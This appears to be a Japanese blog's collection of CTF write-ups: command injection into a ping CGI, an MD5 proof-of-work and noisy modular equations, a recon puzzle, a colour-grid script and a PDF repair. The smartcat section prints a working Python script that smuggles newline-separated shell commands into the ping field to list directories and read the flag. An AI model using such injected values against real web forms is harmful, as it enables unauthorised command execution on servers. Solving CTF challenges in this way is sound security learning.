2016年01月
smartcat1 - Web - 50 pts - realized by grimmlinPing destinationにIPアドレスを入力してEnterすると、PINGコマンドの実行結果が出力されます。OSコマンドインジェクションの脆弱性をつく問題だと思われます。
Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here and this stupid thing only permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently
改行コードで区切ってpwdコマンド、lsコマンドを送り込んでみます。次のPythonプログラムでCGIプログラムに接続します。
import requestsプログラムを実行すると、レスポンスのHTML中に以下の出力を得ることができました。cgiプログラムのカレントディレクトリが/var/www/cgi-bin、そのディレクトリにindex.cgiファイルとthereフォルダが存在することが分かります。
from lxml import html
cookies={}
session_headers = {}
http_session = requests.Session()
http_session.headers.update(session_headers)
data = {'dest':'127.0.0.1>/dev/null\npwd\nls'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)
print(resp.text)
<pre>/var/www/cgi-binスペースや$などの文字はサニタイジングしているようで使えませんので、環境変数のHOMEにパスを設定してcdコマンドでディレクトリを移動します。これを繰り返すと、最後にflagファイルが見つかります。スペースが使えないので、catコマンドに入力リダイレクトでflagファイルを読み込ませます。
index.cgi
there
</pre>
import requests実行すると、次の出力を得ることができました。
from lxml import html
cookies={}
session_headers = {}
http_session = requests.Session()
http_session.headers.update(session_headers)
data = {'dest':'127.0.0.1>/dev/null\npwd\nls\nHOME=/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the\ncd\npwd\nls\ncat<flag'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)
print(resp.text)
<pre>/var/www/cgi-binフラグは、
index.cgi
there
/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please
/tell/me/seriously/though/here/is/the
flag
INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>
INS{warm_kitty_smelly_kitty_flush_flush_flush}です。
Bring the noise - Crypto - 200 pts - realized by veorqncコマンドで指示されたサーバー、ポートに接続すると、Challenge = ?????と表示されて入力待ちになります。
Quantum computers won't help you
Source
Running on: bringthenoise.insomnihack.ch:1111
>nc.exe bringthenoise.insomnihack.ch 1111何か適当に入力するとすると、「Wrong」と表示されて切断されてしまいます。
Challenge = 19fee
aaaaさて、ここで提示されているソースを確認します。
Wrong
35~41行目が1つ目の入力チェック部分です。Challenge = ?????の部分は、ランダムな16進文字列5桁が表示される(ソース35~36行目)ようです。そして、入力した文字列をMD5でハッシュ化した16進文字列(ソース38行目)の先頭5桁が一致していれば(ソース39行目)次に進めるようです。
challenge = hexlify(os.urandom(1+POWLEN/2))[:POWLEN]そこで、数字のみで0,1,2,…と順にMD5のハッシュ値を計算し先頭5桁と、表示されたchallengeを比較するpythonプログラムを作成します。以下のプログラムを「aaa.py」として保存します。
put('Challenge = %s\n' % challenge)
response = self.rfile.readline()[:-1]
responsehash = hashlib.md5(response).hexdigest().strip()
if responsehash[:POWLEN] != challenge:
put('Wrong\n')
return
import hashlib実行すると、数秒で次のとおり結果が出ます。2029864のMD5ハッシュ値は「19feea32e280740586d9795346b1f99f」なので確かに合っています。
POWLEN = 5
response = 0
challenge = '19fee'
while True:
responsehash = hashlib.md5(str(response)).hexdigest().strip()
if responsehash[:POWLEN] == challenge:
print(str(response) + '\n')
break
response += 1
>aaa.pyこの値を入力するとやはり正解だったようで、次にカンマ区切りで7つの数字が40行表示されます。
2029864
提示されたソースの17~27行目、43~52行目が該当部分です。まず、solutionは0~7の乱数6個から成り(ソース19行目)、これが答えになります(ソース50行目)。次に、表示される7つの数字40行の部分ですが、最初の6つはcoefsという0~7の乱数6個で、7つ目はcoefsとsolutionについて各要素同士の積の和を8で割った余り(ソース23行目)を、ランダムに-1~+1した値(ソース24,25行目)になります。これを40回まわして40行分出力しています。
def learn_with_vibrations():したがって、solutionをランダムに生成し(以下のプログラムでは変数ans)、40行の全てについて、最初の6つの数値とansとで同様の計算をした結果と7つ目の数値との差が-1,0,1のいずれかであれば、変数ansが答えと想定されます。この処理を行う以下のプログラムを「bbb.py」として保存します。
q, n, eqs = 8, 6, 40
solution = [randint(q) for i in range(n)]
equations = []
for i in range(eqs):
coefs = [randint(q) for i in range(n)]
result = sum([solution[i]*coefs[i] for i in range(n)]) % q
vibration = randint(3) - 1
result = (result + q + vibration) % q
equations.append('%s, %d' % (str(coefs)[1:-1], result))
return equations, solution
(中略)
equations, solution = learn_with_vibrations()
for equation in equations:
put(equation + '\n')
put('Enter solution as "1, 2, 3, 4, 5, 6"\n')
sol = self.rfile.readline().strip()
if sol != str(solution)[1:-1]:
put('Wrong\n')
return
import struct実行すると、数秒で次のとおり答えが表示されます。
import os
def randint(bound):
return struct.unpack('<L', os.urandom(4))[0] % bound
equations = [
"2, 2, 3, 2, 3, 4, 2",
"1, 0, 4, 6, 6, 4, 1",
"2, 1, 7, 6, 3, 0, 0",
"5, 6, 1, 4, 2, 1, 2",
"7, 6, 2, 0, 3, 4, 6",
"4, 7, 6, 7, 7, 4, 1",
"2, 5, 2, 7, 6, 4, 4",
"0, 6, 7, 6, 7, 4, 3",
"2, 2, 6, 2, 0, 4, 5",
"1, 4, 6, 7, 4, 3, 0",
"3, 7, 0, 3, 3, 6, 2",
"4, 3, 5, 6, 4, 3, 7",
"3, 5, 0, 1, 6, 0, 5",
"5, 6, 0, 3, 7, 3, 7",
"0, 6, 0, 0, 5, 4, 5",
"0, 1, 5, 2, 6, 4, 1",
"2, 6, 2, 5, 7, 5, 2",
"2, 2, 0, 1, 6, 6, 2",
"0, 4, 4, 4, 4, 6, 2",
"1, 0, 7, 3, 7, 5, 7",
"2, 4, 7, 6, 5, 4, 5",
"5, 7, 4, 7, 3, 4, 7",
"1, 3, 3, 5, 7, 4, 7",
"0, 0, 2, 4, 5, 3, 1",
"5, 2, 3, 5, 0, 0, 2",
"5, 4, 5, 7, 3, 1, 7",
"5, 7, 5, 2, 4, 5, 1",
"1, 3, 3, 4, 0, 2, 6",
"4, 7, 0, 2, 4, 5, 7",
"6, 1, 5, 5, 1, 6, 1",
"5, 0, 4, 4, 1, 6, 0",
"0, 2, 5, 4, 5, 4, 2",
"7, 1, 1, 1, 5, 2, 3",
"4, 6, 0, 2, 4, 5, 4",
"4, 0, 1, 1, 2, 0, 1",
"3, 7, 4, 5, 3, 6, 3",
"0, 7, 7, 5, 6, 7, 4",
"1, 2, 3, 2, 4, 5, 3",
"6, 1, 2, 3, 5, 2, 1",
"5, 1, 5, 0, 3, 7, 1"
]
while True:
ok = 1
ans = [randint(8) for i in range(6)]
for i in range(40):
equ = equations[i]
coefs = equ.replace("L", "").split(",")
result = int(coefs[6])
del coefs[6]
res = sum([ans[j]*int(coefs[j]) for j in range(6)]) % 8
if not ((res + 8 + 1) % 8 == result or (res + 8) % 8 == result or (res + 8 - 1) % 8 == result):
ok = 0
break
if ok == 1:
print ans
break
>bbb.pyこの値を入力すると、フラグが表示されました。
[0L, 2L, 2, 5, 1, 7L]
以下は、実際のコンソールのログです。
>nc.exe bringthenoise.insomnihack.ch 1111フラグは、
Challenge = 19fee
2029864
2, 2, 3, 2, 3, 4, 2
1, 0, 4, 6, 6, 4, 1
2, 1, 7, 6, 3, 0, 0
5, 6, 1, 4, 2, 1, 2
7, 6, 2, 0, 3, 4, 6
4, 7, 6, 7, 7, 4, 1
2, 5, 2, 7, 6, 4, 4
0, 6, 7, 6, 7, 4, 3
2, 2, 6, 2, 0, 4, 5
1, 4, 6, 7, 4, 3, 0
3, 7, 0, 3, 3, 6, 2
4, 3, 5, 6, 4, 3, 7
3, 5, 0, 1, 6, 0, 5
5, 6, 0, 3, 7, 3, 7
0, 6, 0, 0, 5, 4, 5
0, 1, 5, 2, 6, 4, 1
2, 6, 2, 5, 7, 5, 2
2, 2, 0, 1, 6, 6, 2
0, 4, 4, 4, 4, 6, 2
1, 0, 7, 3, 7, 5, 7
2, 4, 7, 6, 5, 4, 5
5, 7, 4, 7, 3, 4, 7
1, 3, 3, 5, 7, 4, 7
0, 0, 2, 4, 5, 3, 1
5, 2, 3, 5, 0, 0, 2
5, 4, 5, 7, 3, 1, 7
5, 7, 5, 2, 4, 5, 1
1, 3, 3, 4, 0, 2, 6
4, 7, 0, 2, 4, 5, 7
6, 1, 5, 5, 1, 6, 1
5, 0, 4, 4, 1, 6, 0
0, 2, 5, 4, 5, 4, 2
7, 1, 1, 1, 5, 2, 3
4, 6, 0, 2, 4, 5, 4
4, 0, 1, 1, 2, 0, 1
3, 7, 4, 5, 3, 6, 3
0, 7, 7, 5, 6, 7, 4
1, 2, 3, 2, 4, 5, 3
6, 1, 2, 3, 5, 2, 1
5, 1, 5, 0, 3, 7, 1
Enter solution as "1, 2, 3, 4, 5, 6"
0, 2, 2, 5, 1, 7
INS{ErrorsOccurMistakesAreMade}
INS{ErrorsOccurMistakesAreMade}です。
2016年01月13日01:42
http://fuzyll.com/csaw2015/start問題で与えられたURLにアクセスします。
まず1問目は、Alexander Taylor(FUZYLL)氏の大学のハッキングクラブの頭文字を調査する問題です。
CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.https://www.linkedin.com/in/fuzyll
LinkedInのプロフィールの学歴欄に次の記載があります。
ゼミ・クラブ・サークル: President of the Whitehatters Computer Security Club, Member of the USF Honors College, Member of the Eta Kappa Nu Honor Societyということで、1問目の答えはwcscですので、次のURLにアクセスします。
http://fuzyll.com/csaw2015/wcsc
CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==2問目、2行目をBASE64で復号すると次のようになります。
おそらく、「super smash brothers」のメイン使用キャラを聞いていると思われます。
Nice work! The next part is at /csaw2015/<my super smash brothers main>.「fuzyll Super Smash Bros.」でググると、YouTubeのゲームプレイ動画がいくつか出てきます。どうやら使用キャラは「Yoshi」のようです。
次のURLにアクセスします。
http://fuzyll.com/csaw2015/yoshi
次のPNG画像が表示されます。
このPNG画像には次のようなコメントが埋め込まれています。
CSAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/<the cryptosystem I had to break in my first defcon qualifier>.意訳すると、「初めて参加したDEFCON予選で破った暗号システム」でしょうか。
そもそも初めて参加したDEFCON予選が何回目なのか分からないので、過去のDEFCON予選のcrypt問題を順番に確認していきましょう。
次のサイトは、DEFCON18 Qualsのwriteupです。
http://www.vnsecurity.net/ctf%20-%20clgt%20crew/2010/05/25/defcon-18-quals-writeups-collection.html
crypt問題に「enigma」というものがあります。試してみたら次の質問が表示されました。
http://fuzyll.com/csaw2015/enigma
CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj表示されたjavascriptのコードをそのま実行すると、次の文字列が出力されます。
var s = "THIS IS THE INPUT"
var c = ""
for (i = 0; i < s.length; i++) {
c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4);
}
console.log(c);
The next stop on your quest is: /csaw2015/they_see_me_rollinということで、次のURLにアクセスします。
http://fuzyll.com/csaw2015/they_see_me_rollin
CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!ついにフラグが表示されました。
フラグは、
flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}です。
2016年01月12日00:17
Category: Programming与えられたURLにアクセスすると、下図のような格子状の画像が表示されます。このマス目のうち1箇所だけ
Points: 100
Click on the different color.
http://ctfquest.trendmicro.co.jp:43210/click_on_the_different_color
Please type in the flag in the 'TMCTF{<flag>}' format.
Please replace <flag> with the actual flag you would like to submit.
Example: If your flag is abc, then please type in TMCTF{abc}.
が微妙に色が異なっているので、そのマス目をクリックすると次の画像が表示されるようになっています。
最初は2×2から始まって、3×3、4×4、という風にどんどん細かくなっていきます。
下図は13×13ですが、目で判断するのは至難の業です。
そこで、HTML5+javascriptで画像の特定座標の色を読み取って、異なる色の座標を取得するプログラムを書きます。
<canvas id='panel' width="390" height="390"></canvas>表示された画像をスクリプトと同じフォルダに保存し、画像のファイル名をvar src変数に指定して実行すると、下図のとおり、色の異なる座標を取得することができます。これを繰り返すことでフラグを得ることができます。
<div id='answer'></div>
<script>
(function() {
var src = 'ff3d5e6f48bee72d18d9ff04d3e5955199d2f8aa7684.png';
var canvas = document.getElementById('panel');
var pal = document.getElementById('answer');
context = canvas.getContext('2d');
var image = new Image();
// 画像要素を生成します
image.src = src;
// 画像読み込み完了
image.onload = function() {
var RATIO = 51; // 画像の分割比
canvas.width = image.width;
canvas.height = image.height;
// 画像をキャンバス上に表示します
context.drawImage(image, 0, 0, image.width, image.height);
var colorArray = context.getImageData(0, 0, canvas.width, canvas.height).data;
var save_r = 0;
var save_g = 0;
var save_b = 0;
var flag = 0;
for ( var x = 0 ; x<canvas.width; x++) {
for (var y = 0 ; y<canvas.height; y++) {
if (colorArray[(((y * canvas.width) + x) * 4) + 0] == 255 && colorArray[(((y * canvas.width) + x) * 4) + 1] == 255 && colorArray[(((y * canvas.width) + x) * 4) + 0] == 255) {
} else {
if (save_r == 0 && save_g == 0 && save_b == 0) {
save_r = colorArray[(((y * canvas.width) + x) * 4) + 0];
save_g = colorArray[(((y * canvas.width) + x) * 4) + 1];
save_b = colorArray[(((y * canvas.width) + x) * 4) + 2];
}
if (save_r == colorArray[(((y * canvas.width) + x) * 4) + 0] &&
save_g == colorArray[(((y * canvas.width) + x) * 4) + 1] &&
save_b == colorArray[(((y * canvas.width) + x) * 4) + 2]) {
} else {
pal.innerHTML = 'http://ctfquest.trendmicro.co.jp:43210/' + src.split('.')[0] + '?x=' + x + '&y=' + y;
flag = 1;
break;
}
}
}
if (flag == 1) break;
}
};
})();
</script>
下図は最後の画像です。この次にフラグが表示されました。
表示されたフラグは、
Congraturations!! The flag is TMCTF{U must have R0807 3Y3s!}です。
2016年01月11日05:12
Category: Analysis-othersPDFファイルが破損していて表示することができません。
Points: 100
Please fix the PDF file for me.
Link
Please type in the flag in the 'TMCTF{<flag>}' format.
Please replace <flag> with the actual flag you would like to submit.
Example: If your flag is abc, then please type in TMCTF{abc}.
以下のサイトでPDFファイルの形式を確認しながら、破損している部分を修復します。
http://www.kobu.com/docs/pdf/pdfxhand.htm
まず、ID13のストリームオブジェクトに辞書(<< ... >>)がありません。また、ID14とID19のオブジェクトが参照されていません。
ID13のストリームデータ(stream~endstream間)は11991バイトあります。ID14の値が11991なので、ID13の辞書に「/Length 14 0 R」を参照で入れます。次に、ID19の辞書がID17と似ています。ID11の辞書をID13にも適用して、/Lengthを12→14、/SMaskを17→19としてみます。次のようになります。
<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 305 /Height 50 /ColorSpaceこれを、ID13の辞書として追記してファイルを保存し、表示してみます。
16 0 R /Intent /Perceptual /SMask 19 0 R /BitsPerComponent 8 /Filter /FlateDecode
>>
PDFファイルを表示できるようになりました。しかし、フラグらしきものは読み取れません。
あとは、調整できるとすると画像の幅、高さくらいになります。試行錯誤の結果、/Widthを1220にすると、下図の通りフラグが読める状態になりました。
<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 1220 /Height 50 /ColorSpace
16 0 R /Intent /Perceptual /SMask 19 0 R /BitsPerComponent 8 /Filter /FlateDecode
>>
したがって、フラグは、
TMCTF{There is always light behind the clouds.}です。
記事検索
タグクラウド
- 101
- Baby
- Baby'sFirst
- BINARY
- Binary
- Bonus
- Code
- Crypto
- crypto
- CRYPTO
- Cryptography
- Digital
- DriveByInc
- Engineering
- Foren
- FORENSIC
- Forensics
- General
- GrabBag
- Information
- Joy
- Linux
- Malware
- MicroServices
- Misc
- MISC
- misc
- Miscellaneous
- Mobile
- n00b
- Network
- Pentest
- PPC
- Pwn
- pwn
- RE
- ReadingRainbow
- RECON
- Rev
- rev
- Reverse
- reverse
- Reversing
- Sanity
- Security
- Story
- The
- Trivia
- warm-up
- warmup
- Warmup
- WarmUp
- Web
- web
- Welcome
最新記事
アーカイブ
カテゴリー